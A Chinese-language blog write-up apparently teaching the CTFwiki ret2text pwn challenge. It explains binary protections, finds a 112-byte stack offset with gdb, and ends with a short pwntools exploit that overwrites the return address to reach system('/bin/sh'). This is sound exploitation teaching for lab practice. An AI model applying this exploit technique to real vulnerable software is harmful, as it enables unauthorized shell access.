ret2text(一道题入门)

二进制安全

不论是网络安全中的web安全还是二进制安全等都是一个很玄学的东西,科学的尽头是是玄学嘛,不论你选的是哪个方向,用心就好了,重在坚持了。我会通过写文章的方式来记录自己的新的体会,这本身就是具有成就感。


工具安装环境搭建

首先需要一个Ubuntu的系统以及PWN的神器IDA等等插件具体请看这篇二进制入门环境安装文章

这里就不多说了,直接做题就好了。


开始做题

此次做题我们用的是CTFwiki中的ret2text赋予他执行权限(chmod 777 ret2text)

0x1

拿到一道题的第一步我们先去检查他的保护机制

checksec ret2text

Arch:    i386-32-little //文件为32位程序

RELRO:    Partial RELRO

Stack:    No canary found    //未开启canary保护

NX:      NX enabled    //开启了栈不可执行保护

PIE:      No PIE (0x8048000)    //未开启地址无关可执行

既然提到了保护机制的原理我们可以参考这篇文章Linux中的保护机制只有了解了它的保护机制我们才可以通过某种手法来绕过利用,从而拿到我们想要的东西。

canary(栈保护)

当启用栈保护后,函数开始执行的时候会先往栈底插入 cookie

信息,当函数真正返回的时候会验证 cookie 信息是否合法 (栈帧销毁前测试该值是否被改变),如果不合法就停止程序运行

(栈溢出发生)。攻击者在覆盖返回地址的时候往往也会将 cookie 信息给覆盖掉,导致栈保护检查失败而阻止 shellcode

的执行,避免漏洞利用成功。在 Linux 中我们将 cookie 信息称为 Canary。

PIE

如果程序开启了PIE保护的话,在每次加载程序时都变换加载地址

NX(DEP)

NX即No-eXecute(不可执行)的意思,限制一块内存区域不可执行。

ASLR

ASLR(地址随机化)是一种针对缓冲区溢出的安全保护技术,通过对堆、栈、共享库映射等线性区布局的随机化,通过增加攻击者预测目的地址的难度,防止攻击者直接定位攻击代码位置,达到阻止溢出攻击的目的。

但是,地址随机化不是对所有模块和内存区都进行随机化!虽然libc、栈、堆的加载位置被随机化,但主镜像不会。

0x2

通过第一步观察到本题是32位程序,对应的是32的IDA。加载出来的是汇编语言,然后就要去看它的main函数按F5反汇编,观察代码


看到这里存在栈溢出漏洞。

栈溢出漏洞

溢出溢出,字面上就是往容器里加的水超过了水的容积,简单讲,栈溢出就是向栈中某个变量中写入的字节数超过了这个变量本身所申请的字节数,造成溢出。发生栈溢出的条件:程序必须向栈上写入数据。写入的数据大小没有被良好地控制。利用方式:覆盖程序的返回地址为攻击者所控制的地址,比如该地址为执行shellcode的地址shellcode是一段用于利用软件漏洞而执行的代码,shellcode为16进制的机器码,可以让攻击者获得shell,利用pwntools可自动生成,等用到再说。可能造成栈溢出的函数。

可能造成栈溢出的函数有:gets,scanf,vscanf,sprintf,strcpy,strcat,bcopy

摘自某大佬博客

0x3

继续浏览其他函数的伪代码。发现secure函数中调用了system(“/bin/sh”),我们只需要想办法执行这system(“/bin/sh”)从而拿到我们想要的shell。


我们现在大概确定了栈溢出漏洞,我们首先要知道这个漏洞到底有多深,然后我们了解了这个漏洞的深度把东西填装进去让他覆盖到这个system(“/bin/sh”)这个地址我们就可以得到shell了。那如何确定这个偏移量和这个地址呢?

第一步利用gdb进行调试看它的偏移

gdb -q ./ret2text         

//gdb载入该文件

pattern create 200     

//制造200个填充字符(多少字符都行),先把他复制下来

r                                 

//运行程序

pattern offset 地址     

//确定偏移



计算的偏移量为112,下面找到system(“/bin/sh”)地址就可以构造exp了,那么我们看在IDA看在secure中调用system(“/bin/sh”)的地址

exp如下

from pwn import*                                 

//导入python库

p = process("./ret2text")                     

//与文件建立本地连接,远程连接用r = remote('ip',端口)

payload = 'a'*112 + p32(0x804863A) 

 //p32()将其打包,64位用p64()

p.sendline(payload)                           

//发送payload

p.interactive()                                     

//直接进行交互,相当于回到shell的模式,在取得shell之后使用

执行exp


pwntools参数及使用可参照:pwntools使用


最后推荐学习网站:CTFwiki 看雪论坛 吾爱破解 B站 都有不错的资源学习。

此篇文章如果存在问题,还望大佬批评指正

推荐阅读更多精彩内容

  • 前言 上回说到,如何利用程序中system函数以及bin/sh字符串来进行pwn。这里我们会介绍,如何在栈可执行而...
    看雪学院阅读 3,096评论 0 9
  • bufferoverflow0 功能分析 :绑定 11 信号为 错误函数(输出 flag)。 利用过程:输入长度 ...
    fantasy_learner阅读 1,752评论 0 0
  • 前言 linux系统提供了很多安全机制来降低程序受到缓冲区溢出等攻击手法的攻击,而我们需要使用这些攻击手法来进行攻...
    余生似梦阅读 921评论 0 1
  • 本文转载自:http://yunnigu.dropsec.xyz/2016/10/08/checksec及其包含的...
    readilen阅读 1,773评论 0 1
  • 一、操作系统 操作系统是管理计算机硬件资源,控制其他程序运行并为用户提供交互操作界面的系统软件的集合。操作系统是计...
    Queen_耳又又阅读 528评论 0 0
  • 久违的晴天,家长会。 家长大会开好到教室时,离放学已经没多少时间了。班主任说已经安排了三个家长分享经验。 放学铃声...
    飘雪儿5阅读 6,756评论 16 21
  • 创业是很多人的梦想,多少人为了理想和不甘选择了创业来实现自我价值,我就是其中一个。 创业后,我由女人变成了超人,什...
    亦宝宝阅读 1,508评论 4 1
  • 今天感恩节哎,感谢一直在我身边的亲朋好友。感恩相遇!感恩不离不弃。 中午开了第一次的党会,身份的转变要...
    迷月闪星情阅读 9,723评论 0 10
  • 可爱进取,孤独成精。努力飞翔,天堂翱翔。战争美好,孤独进取。胆大飞翔,成就辉煌。努力进取,遥望,和谐家园。可爱游走...
    赵原野阅读 2,345评论 1 1